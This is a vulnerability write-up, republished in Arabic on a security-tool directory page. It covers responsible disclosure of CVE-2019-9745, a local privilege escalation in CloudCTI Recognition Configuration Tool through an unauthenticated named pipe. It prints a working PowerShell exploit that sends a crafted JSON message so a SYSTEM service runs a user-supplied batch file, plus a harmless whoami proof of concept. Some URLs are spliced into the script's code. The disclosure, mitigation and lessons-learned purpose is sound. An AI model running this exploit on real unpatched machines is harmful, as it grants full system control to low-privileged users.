Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-9745 — تحليل حول ثغرة CVE-2019-9745. | Kitploit
أدوات/GitHubGitHub/kpn-ciso/cve-2019-9745
تحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالأوراق والأبحاثالتعلم والتعليم
GitHubkpn-ciso/cve-2019-9745

CVE-2019-9745

تحليل حول ثغرة CVE-2019-9745.

عرض المستودع
12منذ 6 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
المؤلف: Arn Vollebregt

مقدمة

الإبداع هو جوهر اختبار الاختراق، وهو ما يبقي عملنا ممتعًا. ومع ذلك، أحد المزالق هو الميل إلى "الإفراط في هندسة" سيناريوهات الهجوم والتركيز فقط على الأخطاء (حالات الخطأ). غير أن العيوب (السلوك غير المقصود) قد تكون موجودة وتؤدي إلى نتائج مدمرة بنفس القدر. يقدم هذا المقال دراسة حالة لإظهار أهمية اختبار الاختراق لمثل هذه العيوب. وفي الوقت نفسه، يقدم حجة لاعتماد عملية SDLC (دورة حياة التطوير الآمن).

هذا المقال جزء من الإفصاح المسؤول (RD) عن الثغرة CVE-2019-9745 وقد كُتب بالتعاون الوثيق مع البائع CloudCTI. يقدم نظرة عامة رفيعة المستوى عن الثغرة قبل الغوص في التفاصيل التقنية. وبعد توضيح استغلال الثغرة، يُقدَّم استنتاج مع الدروس المستفادة.

ملخص

أداة CloudCTI Recognition Configuration Tool التي فحصناها خلال أحد اختبارات الاختراق لدينا تُستخدم لاسترجاع المعلومات من برامج CRM (إدارة علاقات العملاء). وهذا يوفر لموظفي مراكز الاتصال معلومات ذات صلة أثناء مكالمات العملاء. تم تحديد العديد من المشكلات التي يمكن ربطها معًا لاختراق النظام المحلي بالكامل. يود البائع التأكيد على أن هذا لا يؤثر على أنظمة العملاء الآخرين ولا أنظمتهم الخاصة.

كما هو الحال مع العديد من الثغرات الأمنية، تكمن مشكلة مهمة في التحقق من صحة البيانات القادمة من خارج نطاق نفوذك. بنفس القدر من الأهمية هو إدراك أن الأنظمة والبرمجيات تعمل في بيئات معادية. لقد علمنا الوقت والخبرة أن التنصت يشكل تهديدًا على الإنترنت. وينطبق الشيء نفسه على قنوات الاتصال الأخرى، حتى داخل النظام نفسه. وكان هذا أساسيًا في اكتشاف الثغرة.

يُظهر تحليل السبب الجذري للمشكلات التي تمت مواجهتها أهمية الممارسات مثل TM (نمذجة التهديدات). يساعد TM في تحديد المخاطر في المراحل المبكرة من التصميم والتطوير. ويمكن أن يؤدي ذلك إلى تخفيف المخاطر غير المقبولة أو إعادة التصميم/إعادة التنفيذ. على الرغم من أن القارئ مُشجَّع على إجراء تحليله الخاص، يتم توفير أوصاف للإجراءات المضادة للبائع كمرجع.

الثغرة

تتكون برمجيات البائع من أربعة تطبيقات تعمل معًا. التطبيق الأول هو واجهة المستخدم الرسومية (GUI). وهذا يسمح للمستخدم ببدء استرجاع المعلومات من عدة حزم برامج CRM:

الشكل 01

يفوّض واجهة المستخدم الرسومية استرجاع المعلومات إلى خدمة (التطبيق الثاني) عن طريق إرسال رسالة. تتجلى هنا أولى المشكلات الأمنية: فليس بإمكان أي شخص على النظام مراقبة الرسائل بين واجهة المستخدم الرسومية والخدمة لتحديد تنسيقها ومحتواها (مما يؤثر على السرية) فحسب، بل يمكنه أيضًا إرسال رسائله الخاصة (مما يؤثر على التفويض). علاوة على ذلك، لا يتم التحقق من مصدر الرسائل الموجهة إلى الخدمة (مما يؤثر على عدم الإنكار). في مصطلحات نمذجة التهديدات STRIDE، يعني هذا أن النظام عرضة لكشف المعلومات والعبث. وبالفعل، كانت المعلومات المستخلصة من هذه الرسائل أساسية في اكتشاف الثغرة.

التطبيق الثالث هو واحد من العديد من أدوات الاستيراد المتخصصة. تقوم الخدمة بتحميل استرجاع المعلومات لحزمة CRM محددة إلى أداة استيراد محددة. تحتوي الرسالة التي يرسلها واجهة المستخدم الرسومية على تعليمات محددة لأداة الاستيراد هذه. بالنظر إلى أداة استيراد CRM الخاصة بـ Exquise، يتبين أن استرجاع المعلومات يُفوَّض أيضًا إلى تطبيق خارجي (رابع). عند فحص المنطق الداخلي لأداة الاستيراد، تم اكتشاف أنه يمكن تحديد التطبيق الخارجي في الرسالة بين واجهة المستخدم الرسومية والخدمة. المشكلة التي تظهر هنا هي أن التطبيق الخارجي يُنفَّذ دون التحقق من هويته (مما يؤثر على عدم الإنكار).

من خلال ربط هذه المشكلات معًا، تمكنا من التنصت على الرسائل لتحديد تنسيقها وإرسال رسالة نحدد فيها تطبيقًا خارجيًا خبيثًا خاصًا بنا. يتم تنفيذ ذلك التطبيق الخارجي بنفس صلاحيات أداة الاستيراد/الخدمة. وبما أن هذه الصلاحيات هي الأعلى الممكنة داخل النظام، يتم تحقيق السيطرة الكاملة ويتعرض النظام للاختراق.

يتم تخفيف هذه المشكلات من قبل البائع عن طريق تشفير الرسائل (مما يخفف مشكلة السرية) من خلال استخدام أسرار مشتركة فريدة (مما يخفف مشكلة التفويض) لا يمكن الوصول إليها إلا من قبل مستخدمي النظام الموثقين الذين يملكونها (مما يخفف مشكلة عدم الإنكار الأولى). أخيرًا، التطبيق الخارجي موقَّع تشفيريًا (مما يخفف مشكلة عدم الإنكار الثانية). يؤدي الجمع بين هذه الإجراءات إلى تخفيف الثغرة بنجاح.

التفاصيل التقنية

عند تثبيت تطبيق واجهة المستخدم الرسومية CloudCTI Recognition Configuration Tool (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\CloudCTI Recognition Configuration Tool.exe) يتم فحصه باستخدام Process Explorer. يكشف هذا عن تثبيت خدمة مصاحبة (Recognition Update Client Service) وتنفيذها بصلاحيات NT AUTHORITY\SYSTEM:

الشكل 02

عند فحص الملف التنفيذي للخدمة (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RecognitionUpdateClientServiceService.exe) يتضح أنه تم تطويره باستخدام لغة البرمجة .NET. يمكن إلغاء ترجمته باستخدام dnSpy للحصول على نظرة ثاقبة في منطقه الداخلي، والذي سيتم تفصيله أدناه.

RUCS2017Service (مساحة الاسم الداخلية .NET في الملف التنفيذي للخدمة) يتبين أنها غلاف رفيع حول مساحة الاسم RUCS2017 (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RUCS2017.dll). يعرّف هذا خادم Named Pipe باسم RUCS20151029 في RUCS2017.dll:RUCS2017.TRUCS2017:902:

الشكل 03

يتم بدء تشغيل خادم Named Pipe هذا في RUCS2017.dll:RUCS2017.TRUCS2017:833:

الشكل 04

يُستخدم سطر أوامر Powershell التالي لتأكيد أن هذه القناة نشطة بالفعل على النظام:``` PS C:\Users\hacker> [System.IO.Directory]::GetFiles("\.\pipe\") |Select-String -Pattern "RUCS20151029"

\.\pipe\RUCS20151029

root@kitploit:~
باستخدام [AccessChk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk) يتم فحص حقوق الوصول للأنبوب. من خلال هذا يُكتشف أن الأنبوب يمكن القراءة منه (*R*) والكتابة إليه (*W*) بواسطة أي مستخدم للنظام (*الجميع*):```
PS C:\Users\hacker> .\accesschk.exe \pipe\RUCS20151029

Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com

\\.\Pipe\RUCS20151029
  RW Everyone
  RW BUILTIN\Administrators

عند استخدام وظيفة Add application في الواجهة الرسومية (انظر Figure 01) تُلاحَظ حركة البيانات غير المشفَّرة التالية على الأنبوب المسمّى باستخدام IO Ninja:

Figure 05

يحتوي هذا على بيانات JSON التالية:```JSON { "Command":"WizardGetData", "Params": { "ReturnSize":50, "DatasourceType":"exquise exporter", "DatasourceSettings": { "ExquiseFolder":"C:\Users\hacker\Desktop"} } ,"Id":"76037453" }

root@kitploit:~
تتم معالجة الرسائل على الأنبوب بناءً على [الأحداث](https://docs.microsoft.com/en-us/dotnet/standard/events/) ويتم الاشتراك بها في مُنشئ الخدمة عند *RUCS2017.dll:RUCS2017.TRUCS2017:803*:

![](https://assets.kitploit.com/production/public/readmes/37200/3e7d9948347ffbffc26ee104ad8ff50933606181eb9eee446b5fa3dc961d01e7.png)
**<div style="text-align: right">الشكل 06</div>**

في هذه الدالة، يتم أولاً إلغاء تسلسل JSON عند *RUCS2017.dll:RUCS2017.TRUCS2017:267*:

![](https://assets.kitploit.com/production/public/readmes/37200/33bca92e1b5a36f4603939abd37a314f4f61cd9ef70e0e07d94f227843e10bdd.png)
**<div style="text-align: right">الشكل 07</div>**

يمكن العثور على المنطق المحدد لمعالجة بنية رسالة JSON الخاصة بـ *WizardGetData* عند *RUCS2017.dll:RUCS2017.TRUCS2017:315* ضمن حالة التعداد *TFerbCommandType.WizardGetData*:

![](https://assets.kitploit.com/production/public/readmes/37200/73c46336e94cd74c15c7d08d05fe5bd222805be36dbf3c3d4b88c5ba96e3841c.png)
**<div style="text-align: right">الشكل 08</div>**

بعد ذلك، يقوم مدير المهام ببدء خيط تنفيذ جديد عند *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:614* مع تمرير بنية الرسالة المُحلَّلة:

![](https://assets.kitploit.com/production/public/readmes/37200/036e68c9599c4a8f38ef4e7f620acd2867f0482239535ed2f5e2804976c2bc97.png)
**<div style="text-align: right">الشكل 09</div>**

يتم تحميل *DatasourceType* (لحزمة CRM محددة) ديناميكيًا عند *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:177*:

![](https://assets.kitploit.com/production/public/readmes/37200/76890a7277c2d05ee4d5ecf973f1f987e32f694c6523210b423f9a74adcefa46.png)
**<div style="text-align: right">الشكل 10</div>**

والذي يقوم بتحميل ملف *.dll* المعرّف في *json.conf:17*:

![](https://assets.kitploit.com/production/public/readmes/37200/946a3349f0f4ed3d0e9ca99ce176d3114226b4cb4f88a7402a75ebdba3405c9d.png)
**<div style="text-align: right">الشكل 11</div>**

بعد ذلك، يُوكَل المزيد من معالجة الرسالة إلى المكوّن الإضافي *C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceExquiseExporter.dll* عند *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:197* (*الشكل 10*).

الفئة *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource* مشتقّة من *CloudCTI.Datasources.TextFile.RUS2015.TextFileDatasource* (*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceTextFile.dll*). وهذه بدورها مشتقّة من *CloudCTI.Datasources.RUS2015.DatasourceBase* (*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\CloudCTIReplicationDatasourcesClass.dll*). نجد تنفيذ طريقة *GetData* عند *CloudCTI.Datasources.RUS2015.DatasourceBase:133* والتي تستدعي *initializeDatasource* عند *CloudCTI.Datasources.RUS2015.DatasourceBase:142*:

![](https://assets.kitploit.com/production/public/readmes/37200/405e10ddf3fb9c601b8a91fd1c7c3fdab9033a19279276895d6655611071d22e.png)
**<div style="text-align: right">الشكل 12</div>**

وهذه بدورها تستدعي *DatasourceInitialize* عند *CloudCTI.Datasources.RUS2015.DatasourceBase:598*:

![](https://assets.kitploit.com/production/public/readmes/37200/b42faa7d9551b04a5f0addd5031348ac56f6654cd49bc22f6d7dd357eb45a96a.png)
**<div style="text-align: right">الشكل 13</div>**

أولاً، يتم تحليل رسالة JSON عند *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:24*:

![](https://assets.kitploit.com/production/public/readmes/37200/1bf27679546c003d32ba46d0b5b4fc892b35158964d228df72541cdef4c6c75c.png)
**<div style="text-align: right">الشكل 14</div>**

يتم تعريف بنية هذه الرسالة في الفئة *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings*. تحتوي هذه الفئة أيضًا على خاصية *ExporterApplication* التي تهمنا كثيرًا:

![](https://assets.kitploit.com/production/public/readmes/37200/0ed877f459c0643cda84f50b5aeda7000e33784c6794dae9c42de9d385498002.png)
**<div style="text-align: right">الشكل 15</div>**

عند *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:29* (انظر *الشكل 14*) يتم التحقق مما إذا كانت *ExporterApplication* معيّنة في الرسالة. إذا لم تكن هذه هي الحالة، يتم استخدام تطبيق افتراضي، وإلا فسيتم استخدام التطبيق الخارجي من الرسالة. <span style='color:red'>**هنا تتجلى الثغرة**</span>. عند *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:41* (انظر *الشكل 14*) يتم استدعاء طريقة *createExportFile* التي تشغّل التطبيق الخارجي الذي تم تحديده سابقًا (السطر *73*):

![](https://assets.kitploit.com/production/public/readmes/37200/7b84dfabc6a860697245373d0fca8bcad5f747d0983521d9ea46f0e85031587f.png)
**<div style="text-align: right">الشكل 16</div>**

# الاستغلال #

بما أن عملية الخدمة (*C:\Program Files (x86)\HIP Integrator\RUCS\RecognitionUpdateClientServiceService.exe*) تعمل بصلاحيات *NT AUTHORITY\SYSTEM*, فإنها تملك وصولًا إلى **جميع** جوانب النظام، وهو ما أصبح متاحًا لنا الآن أيضًا عبر خاصية *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings.ExporterApplication*. وعند صياغة ذلك داخل الرسالة، تكون النتيجة قالب JSON التالي:```JSON
{
    "Command":"WizardGetData",
    "Params":
    {
        "ReturnSize":RETURN_SIZE,
        "DatasourceType":"exquise exporter",
        "DatasourceSettings":
        {
            "ExquiseFolder":"FOLDER_NAME",
            "ExporterApplication":"APPLICATION_NAME"
        }
    },
    "Id":"RANDOM_VALUE"
}

من خلال التجربة والخطأ تبيّن أن ExporterApplication يمكن أن يكون سكربت دفعة لا يتطلب تنزيل أي موارد إضافية ويمكن وضعه في دليل (مستخدم) يخضع لسيطرة مستخدم بصلاحيات أقل. وبما أن جميع المستخدمين يمكنهم الكتابة إلى الأنبوب المسمى RUCS20151029، يُستخدم السكربت PowerShell التالي لإرسال JSON مُعد بعناية إلى الأنبوب المسمى:

CVE-2019-9745.ps1:```powershell

Import .NET classes in Powershell.

add-Type -assembly "System.Core"

Create required 'data' directory (per internal programming logic).

New-Item -ItemType directory -Path data -Force > $null

Remove any cached results, which may block execution of the exploit.

Remove-Item -Path C:\Windows\Temp\exquiseexport.csv -Force -ErrorAction Ignore $pipeName = '\RUCS20151029'

Construct/configure a named pipe client.

$pipe = new-object System.IO.Pipes.NamedPipeClientStream( ".", $pipeName, [System.IO.Pipes.PipeDirection]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:InOut, [System.IO.Pipes.PipeOptions]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:Asynchronous, [System.Security.Principal.TokenImpersonationLevel]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:Anonymous ); $pipe.Connect(1000); $pipe.ReadMode = [System.IO.Pipes.PipeTransmissionMode]::Message; $pipeWriter = new-object System.IO.StreamWriter($pipe);

Craft JSON payload that points to our external/own application (CVE-2019-9745.bat).

$payload = '{"Command":"WizardGetData","Params":{"ReturnSize":50,"DatasourceType":"exquise exporter","DatasourceSettings":{"ExquiseFolder":"C:\Users\hacker\exploit","ExporterApplication":"C:\Users\hacker\exploit\CVE-2019-9745.bat"}},"Id":"' + $(Get-Random) + '"}'

Properly encode the payload.

$payload = [System.Text.Encoding]::Unicode.GetBytes($payload)

Send the payload.

$pipeWriter.Write($payload, 0, $payload.length); $pipeWriter.flush()

root@kitploit:~
يُحدَّد البرنامج النصي الدفعي التالي في رسالة JSON باعتباره التطبيق الخارجي (*ExporterApplication*). وكإثبات للمفهوم، يُكتب اسم المستخدم الذي ينفّذ هذا البرنامج إلى ملف. بالطبع، يمكن استبدال ذلك بأي أمر (تسلسل أوامر).

**CVE-2019-9745.bat**:```batch
@ECHO OFF
whoami > C:\Users\hacker\exploit\CVE-2019-9745.log

عندما يتم إرسال الرسالة من قبل مستخدم عادي (بصلاحيات منخفضة) (باستخدام CVE-2019-9745.ps1) يمكننا بالفعل ملاحظة أن CVE-2019-9745.bat يتم تنفيذه بصلاحيات مرتفعة (NT Authority\SYSTEM):

الشكل 17

الخلاصة

من منظور اختبار الاختراق، يمكن أن يكون اختبار الثغرات في المنطق (الأعمال) للنظام استثمارًا كبيرًا للوقت. نظرًا لأن معظم اختبارات الاختراق هي اختبار الصندوق الأسود (على عكس اختبار الصندوق الأبيض) فإن هذا يتضمن عادةً الهندسة العكسية. ومع ذلك، وكما تم توضيحه، يمكن أن تكون العيوب (المنطقية) مدمرة تمامًا مثل الأخطاء البرمجية. لهذا السبب، يُنصح بشدة باتباع نهج مزدوج لاختبار كل من الأخطاء والعيوب.

من وجهة نظر البائع، من المهم ليس فقط طرح السؤال 'كيف يمكن استخدام منتجاتنا' ولكن أيضًا 'كيف يمكن إساءة استخدامها'. يمكن أن يساعد SDLC (دورة حياة التطوير الآمن) في إدارة المخاطر خلال المراحل المختلفة لدورة حياة المنتج: متطلبات الأمان، والبنية المعمارية ونموذج التهديدات تساعد في مرحلة التصميم عالي ومتوسط المستوى. تحليل الكود الثابت/الديناميكي ومراجعة الأقران تساعد في عملية التطوير. أخيرًا، يوفر اختبار الاختراق تدقيقًا (مستقلاً). بالطبع، يجب موازنة نتائج هذه العمليات مع الرغبة في المخاطرة. من منظور مالي، خلصت دراسات مختلفة (الحالة التجارية للأمان في SDLC) إلى أن معالجة العيوب (الأمنية) في المراحل المبكرة من دورة حياة المنتج أكثر فعالية من حيث التكلفة من المعالجة اللاحقة. وهذا يعني أن الاستثمار في SDLC يمكن أن يقلل من التكلفة الإجمالية للملكية (TCO) على المدى الطويل.

وبجمع كلا المنظورين، من المهم مواصلة الاستثمار في التوعية الأمنية على جميع الجبهات من خلال التدريب والتعليم. وهذا يضمن أن جميع الأطراف مطلعة على كل من الفرص والمخاطر الأمنية في مجال تكنولوجيا المعلومات الذي يستمر في التطور بوتيرة سريعة. وبذلك، يمكننا جميعًا المساهمة في مجتمع أكثر أمانًا.

الجدول الزمني للإفصاح المسؤول

  • 25-01-2019 : تم الإبلاغ عن الثغرة إلى البائع CloudCTI من قبل KPN CERT.
  • 14-02-2019 : تم إصدار تصحيح عاجل للعملاء من قبل CloudCTI.
  • 13-03-2019 : حجز CVE من قبل MITRE.
  • 18-04-2019 : تم توفير التصحيح الأولي إلى KPN من قبل CloudCTI.
  • 26-04-2019 : إعادة اختبار الثغرة من قبل فريق KPN الأحمر.
  • 02-05-2019 : تم توفير تصحيح منقح إلى KPN من قبل CloudCTI.
  • 02-05-2019 : إعادة اختبار الثغرة من قبل فريق KPN الأحمر.
  • 19-06-2019 : تم إصدار التصحيح للعملاء من قبل CloudCTI.
  • 27-06-2019 : تم إصدار إشعار أمني من قبل CloudCTI.
  • 14-10-2019 : نشر هذا التقرير من قبل فريق KPN الأحمر على GitHub.
  • 14-10-2019 : نشر CVE من قبل MITRE.
  • 07-11-2019 : نشر هذا التقرير من قبل فريق KPN الأحمر على kpn.com.

شدة الخطورة

درجة CVSS التي خصصناها لهذه الثغرة هي 8.8 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C).

تنزيل الأداة